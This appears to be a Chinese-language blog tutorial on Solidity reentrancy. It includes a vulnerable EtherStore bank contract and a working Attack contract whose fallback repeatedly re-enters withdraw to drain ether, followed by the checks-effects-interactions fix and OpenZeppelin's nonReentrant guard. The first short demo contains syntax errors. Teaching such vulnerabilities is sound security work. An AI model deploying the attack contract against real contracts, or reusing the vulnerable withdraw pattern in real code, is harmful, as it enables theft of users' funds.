BlockChain solidity 重入漏洞分析

前置知识

solidity智能合约的转账主要通过send,transfer,call等函数实现。

1
2
3
4
5
6
7

msg.sender.transfer(msg.value)

msg.sender.send(msg.value)

msg.sender.call{value: msg.value}()

三者的主要区别在于:

  1. send transfer均有2300的最大gas消耗限制,如果一次操作消耗的gas大于2300,则操作失败。call方法执行则没有gas消耗限制
  2. transfer函数执行在失败后会回滚状态并终止后续步骤执行,而send和call函数则在失败时返回false,并不结束后续操作
  3. call函数在调用后会执行调用者的fallback函数,并将所有可用gas交给fallback函数使用
  4. transfer和send均为call函数的封装

总结下来看transfer在使用时最为安全(失败时会抛出异常并执行回滚操作),而send和call在使用时需要通过返回值的true/false来判断转账操作是否执行成功

漏洞成因

由于call函数没有2300gas的限制,导致在fallback函数中可以执行非常复杂的操作,包括再次向目标合约发起执行call操作的函数请求再次发起转账(由于gas不限制,因此可以执行复杂逻辑比如转账)。简单demo如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24

contract A {
function withdraw() public {
(bool sent,) = msg.sender.call{value:1 ether};
require(sent, "Failed to send Ether");
}
}

contract B {
A public a;
constructor(address AddressOfContract_A) {
a = A(AddressOfContract_A);
}

fallback() external payable {
a.withdraw();
}

function attack() external payable {
A.withdraw()
}

}

可以看到当合约B调用attack函数时 会调用合约A的withdraw函数,withdraw会调用call方法向调用方(在这里也就是B的合约地址)转账。
在call函数转账成功后,会调用B合约的fallback函数。可以看到fallback函数中再次调用了A合约的withdraw方法,也就是说再次调用了call函数进行转账。而在这次call函数调用成功后,又回再次跳到B合约的fallback函数执行,在这次fallback中又会再次调用A合约的withdraw函数进行转账……
由此形成类似递归调用的逻辑,最终B函数通过一次withdraw调用可以把A合约中所有的ether转移走。这也就是重入漏洞的成因了。

再进一步

看如下合约代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
pragma solidity ^0.8.0;

contract EtherStore {
mapping(address => uint) public balances;

// 向银行合约地址中存入ether
function deposit() public payable {
balances[msg.sender] += msg.value;
}

// 从银行中取出所存的所有ether
function withdraw() public {
uint bal = balances[msg.sender]; //获取msg.sender在合约中的所有ether数量
require(bal > 0); //需要存钱数量大于0才能进行取款操作

(bool sent,) = msg.sender.call{value: bal}(""); //调用call方法将ether取出
require(sent, "Failed to send Ether"); //判断call执行是否成功

balances[msg.sender] = 0; //取钱成功后,将msg.sender存钱金额记录为0(因为ether已经通过call全部取出了
}

function getBalance() public view returns (uint) {
return address(this).balance; // 获取该合约中的所有ether数量
}

fallback() external payable {}
}

分析代码可以看出这是一个类似银行存储的合约,用户可以通过deposit函数存一定数量的ether,可以通过withdraw函数取走所有存储的ether。
可以看到:

  • 在执行call操作之前,代码逻辑判断可当前账户存款数是否大于0 大于0时才会有提取逻辑
  • 执行完call操作转账后后,通过balances[msg.sender] = 0设置存储金额为0

思路是在转账完成后将存款金额置0,这样即使通过重入攻击再次调用withdraw函数,也会因为无法绕过判断require(bal > 0)而无法操作。然而事实上并不是这样。在我们理解了call和重入漏洞之后可以知道,fallback函数的调用是在call函数调用完成之后立即进行的,也就是其调用时间是早于balances[msg.sender] = 0这一行代码执行的,因为当通过fallback函数再次调用withdraw时,balances[msg.sender]并不等于0,因此require(bal > 0)判断条件成立,再次执行call操作再次转账。简单来讲 函数的执行逻辑并不像开发者所想的那样是:

attack -> withdraw -> call -> balances[msg.sender] = 0 -> fallback -> withdraw -> require(bal > 0)失败 调用链结束

而是:

attack -> withdraw -> call -> fallback -> withdraw -> fallback -> withdraw -> …… -> address(this).balance = 0 call无法转账 -> balances[msg.sender] = 0

也就是说,重入攻击仍然可以进行。我们可以写出如下攻击合约:通过调用attack函数即可完成攻击

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
contract Attack {
EtherStore public etherStore;

constructor(address payable _etherStoreAddress) {
etherStore = EtherStore(_etherStoreAddress);
}
fallback() external payable {
if (address(etherStore).balance >= 1 ether) {
etherStore.withdraw();
}
}
function attack() external payable {

etherStore.deposit{value: 1 ether}();
etherStore.withdraw();
}
}

方便调试,笔者已经将两个合约都部署到了Rinkeby测试网络中便于各位调试,合于地址分别为:
EtherStore: 0xe732C451cFaF6e03B4189B64A18310A60758635B
Attack: 0x380b184C3C5F20C2f5b58fD54B543c68A4B3dB78

在理解了这段代码之后,也就很好知道如何修复这个问题了,我们只需要将 balances[msg.sender] = 0; 这行代码移到call调用之前执行即可,这样一来在第一次调用withdraw时,会先将balances[msg.sender]置为0在进行call转账操作。那么当转账成功后fallback再次调用withdraw时,balances[msg.sender]就已经为0了。此时require(bal > 0)判断无法绕过也就不会再次进行转账了。

1
2
3
4
5
6
7
8
9
function withdraw() public {
uint bal = balances[msg.sender]; //获取msg.sender在合约中的所有ether数量
require(bal > 0); //需要存钱数量大于0才能进行取款操作

balances[msg.sender] = 0; //先将msg.sender存钱金额记录为0,在执行call进行转账

(bool sent,) = msg.sender.call{value: bal}(""); //调用call方法将ether取出
require(sent, "Failed to send Ether"); //判断call执行是否成功
}

除了上述的解决方案之外,solidity本身也提供了一些方案用于解决重入攻击:

  1. 在使用call函数进行转账时,可以通过call.value{gas:2300} 进行gas消耗限制(这种做法不被推荐,笔者也没详究原因)
  2. 使用OpenZeppelin提供的nonReentrant修饰符对转账函数进行修饰。相当于对被调用函数加互斥锁防止其被重复调用。

参考文献

[1]https://solidity-by-example.org/fallback/
[2]https://solidity-by-example.org/call/
[3]https://docs.openzeppelin.com/contracts/4.x/api/security#ReentrancyGuard-nonReentrant--


BlockChain solidity 重入漏洞分析
http://example.com/2022/09/29/BlockChain-solidity-重入漏洞分析/
Author
fuzzingq
Posted on
September 29, 2022
Licensed under